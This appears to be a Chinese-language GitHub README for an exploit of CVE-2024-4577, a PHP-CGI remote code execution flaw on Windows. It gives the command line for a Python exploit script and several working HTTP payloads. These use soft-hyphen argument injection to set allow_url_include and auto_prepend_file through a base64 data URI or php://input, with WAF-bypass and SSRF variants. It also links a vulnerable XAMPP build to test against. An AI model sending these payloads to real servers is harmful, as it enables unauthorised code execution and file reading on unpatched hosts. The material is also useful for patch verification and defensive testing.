a-roshbaik/cve-2024-4577-php-rceExploit for CVE-2024-4577 PHP-CGI RCE on Windows, with WAF bypass and SSRF support. Provides multiple exploit variants for default, WAF, and SSRF scenarios.
cgi.force_redirect + REDIRECT-STATUS。allow_url_include、auto_prepend_file、auto_append_file 即可RCE。可包含任意文件和php文件。allow_url_include、auto_prepend_file、。auto_append_file| 信息 | 内容 |
|---|---|
| 漏洞名称 | PHP RCE |
| 漏洞编号 | CVE-2024-4577 |
| 风险等级 | 高危 |
| 漏洞类型 | RCE |
| 利用难度 | 低 |
可用于绕过WAF场景 + 默认场景:
python CVE-2024-4577-PHP-RCE.py PhpServerHost:PhpServerPort
例如:
python CVE-2024-4577-PHP-RCE.py 123.123.123.123:80
可用于SSRF场景 + 默认场景:
http://PhpServerHost:PhpServerPort/php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+-d+allow_url_include%3d1+-d+auto_prepend_file%3d"data:XCANWIN/XCANWIN;base64,PD9waHAgZGllKCJUZSIuInNUIik7Pz4g"
可用于默认场景:
POST /php-cgi/php-cgi.exe?%add+cgi.force_redirect%3dXCANWIN+%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost
<?php die("Te"."sT");?>
可用于默认场景:
POST /php-cgi/php-cgi.exe?%add+allow_url_include%3don+%add+auto_prepend_file%3dphp%3a//input HTTP/1.1
Host: PhpServerHost
REDIRECT-STATUS: XCANWIN
<?php die("Te"."sT");?>
XAMPP Windows版 8.2.12
https://zenlayer.dl.sourceforge.net/project/xampp/XAMPP%20Windows/8.2.12/xampp-windows-x64-8.2.12-0-VS16-installer.exe?viasf=1
或者自主去这里挑受影响版本：https://sourceforge.net/projects/xampp/files/XAMPP%20Windows/
无需任何修改，保持默认配置
使用上述EXP进行测试
观察是否返回字符串 "TesT" 或者服务端system.ini文件内容